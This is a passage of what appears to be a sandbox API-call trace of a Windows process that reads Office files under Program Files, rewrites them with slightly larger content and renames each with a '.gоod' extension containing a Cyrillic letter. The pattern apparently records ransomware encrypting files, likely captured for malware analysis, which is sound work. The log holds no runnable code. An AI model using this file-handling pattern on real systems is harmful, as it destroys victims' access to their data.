(in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", lpFilePart=0x0) returned 0x3e [0190.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0190.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0190.224] GetFileType (hFile=0x820) returned 0x1 [0190.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0190.224] GetFileType (hFile=0x820) returned 0x1 [0190.224] ReadFile (in: hFile=0x820, lpBuffer=0x37e12d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x37e12d0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0191.006] CloseHandle (hObject=0x820) returned 1 [0191.006] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", lpFilePart=0x0) returned 0x3e [0191.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0191.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0191.007] GetFileType (hFile=0x820) returned 0x1 [0191.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0191.007] GetFileType (hFile=0x820) returned 0x1 [0191.007] WriteFile (in: hFile=0x820, lpBuffer=0x37b12d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x37b12d0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0191.007] CloseHandle (hObject=0x820) returned 1 [0191.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", lpFilePart=0x0) returned 0x3e [0191.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS.gоod", lpFilePart=0x0) returned 0x43 [0191.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0191.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6e0ee1d3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x173db8)) returned 1 [0191.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0191.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs.gоod")) returned 1 [0191.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", lpFilePart=0x0) returned 0x41 [0191.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0191.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), fInfoLevelId=0x0, lpFileInformation=0x38e4418 | out: lpFileInformation=0x38e4418*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a9e866, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e00)) returned 1 [0191.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0191.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", lpFilePart=0x0) returned 0x41 [0191.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0191.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0191.010] GetFileType (hFile=0x820) returned 0x1 [0191.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0191.010] GetFileType (hFile=0x820) returned 0x1 [0191.010] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0191.010] ReadFile (in: hFile=0x820, lpBuffer=0x38e4820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38e4820*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0191.012] CloseHandle (hObject=0x820) returned 1 [0191.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", lpFilePart=0x0) returned 0x41 [0191.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0191.012] SleepEx (dwMilliseconds=0x2, bAlertable=0) returned 0x0 [0191.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0191.027] GetFileType (hFile=0x7c8) returned 0x1 [0191.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0191.027] GetFileType (hFile=0x7c8) returned 0x1 [0191.027] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x19e00 [0191.028] WriteFile (in: hFile=0x7c8, lpBuffer=0x38e5b80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x38e5b80*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0191.028] CloseHandle (hObject=0x7c8) returned 1 [0191.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", lpFilePart=0x0) returned 0x41 [0191.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0191.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0191.029] GetFileType (hFile=0x7c8) returned 0x1 [0191.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0191.029] GetFileType (hFile=0x7c8) returned 0x1 [0191.029] ReadFile (in: hFile=0x7c8, lpBuffer=0x38e7e38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38e7e38*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0191.279] CloseHandle (hObject=0x7c8) returned 1 [0191.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", lpFilePart=0x0) returned 0x41 [0191.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0191.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0191.279] GetFileType (hFile=0x7c8) returned 0x1 [0191.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0191.279] GetFileType (hFile=0x7c8) returned 0x1 [0191.279] WriteFile (in: hFile=0x7c8, lpBuffer=0x38e6b98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x38e6b98*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0191.280] CloseHandle (hObject=0x7c8) returned 1 [0191.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA", lpFilePart=0x0) returned 0x41 [0191.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA.gоod", lpFilePart=0x0) returned 0x46 [0191.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0191.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e39cc62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19e10)) returned 1 [0191.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0191.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla.gоod")) returned 1 [0191.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", lpFilePart=0x0) returned 0x3f [0191.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0191.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), fInfoLevelId=0x0, lpFileInformation=0x37e2e50 | out: lpFileInformation=0x37e2e50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0191.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0191.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", lpFilePart=0x0) returned 0x3f [0191.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0191.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0191.283] GetFileType (hFile=0x7c8) returned 0x1 [0191.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0191.283] GetFileType (hFile=0x7c8) returned 0x1 [0191.283] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0191.283] ReadFile (in: hFile=0x7c8, lpBuffer=0x37e4da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x37e4da8*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0191.285] CloseHandle (hObject=0x7c8) returned 1 [0191.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", lpFilePart=0x0) returned 0x3f [0191.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0191.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0191.995] GetFileType (hFile=0x820) returned 0x1 [0191.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0191.995] GetFileType (hFile=0x820) returned 0x1 [0191.995] WriteFile (in: hFile=0x820, lpBuffer=0x34c74b0*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x34c74b0*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0191.996] CloseHandle (hObject=0x820) returned 1 [0191.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS", lpFilePart=0x0) returned 0x3f [0191.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS.gоod", lpFilePart=0x0) returned 0x44 [0191.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0191.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6ea77a80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0191.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0191.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css.gоod")) returned 1 [0191.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", lpFilePart=0x0) returned 0x3e [0191.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0191.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), fInfoLevelId=0x0, lpFileInformation=0x34c8770 | out: lpFileInformation=0x34c8770*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x463f990, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0191.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0191.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", lpFilePart=0x0) returned 0x3e [0191.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0191.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0191.998] GetFileType (hFile=0x820) returned 0x1 [0191.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0191.999] GetFileType (hFile=0x820) returned 0x1 [0191.999] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0191.999] ReadFile (in: hFile=0x820, lpBuffer=0x34c9798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x34c9798*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0192.000] CloseHandle (hObject=0x820) returned 1 [0193.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", lpFilePart=0x0) returned 0x3e [0193.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0193.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0193.499] GetFileType (hFile=0x7c8) returned 0x1 [0193.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0193.500] GetFileType (hFile=0x7c8) returned 0x1 [0193.500] WriteFile (in: hFile=0x7c8, lpBuffer=0x360af08*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x360af08*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0193.501] CloseHandle (hObject=0x7c8) returned 1 [0193.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS", lpFilePart=0x0) returned 0x3e [0193.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS.gоod", lpFilePart=0x0) returned 0x43 [0193.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0193.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463f990, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x463f990, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6f8c5cc4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0193.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0193.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css.gоod")) returned 1 [0193.502] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", lpFilePart=0x0) returned 0x41 [0193.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0193.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), fInfoLevelId=0x0, lpFileInformation=0x360c208 | out: lpFileInformation=0x360c208*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2da00)) returned 1 [0193.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0193.503] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", lpFilePart=0x0) returned 0x41 [0193.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0193.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0193.503] GetFileType (hFile=0x7c8) returned 0x1 [0193.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0193.503] GetFileType (hFile=0x7c8) returned 0x1 [0193.503] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0193.503] ReadFile (in: hFile=0x7c8, lpBuffer=0x360c610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x360c610*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0194.072] CloseHandle (hObject=0x7c8) returned 1 [0194.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: 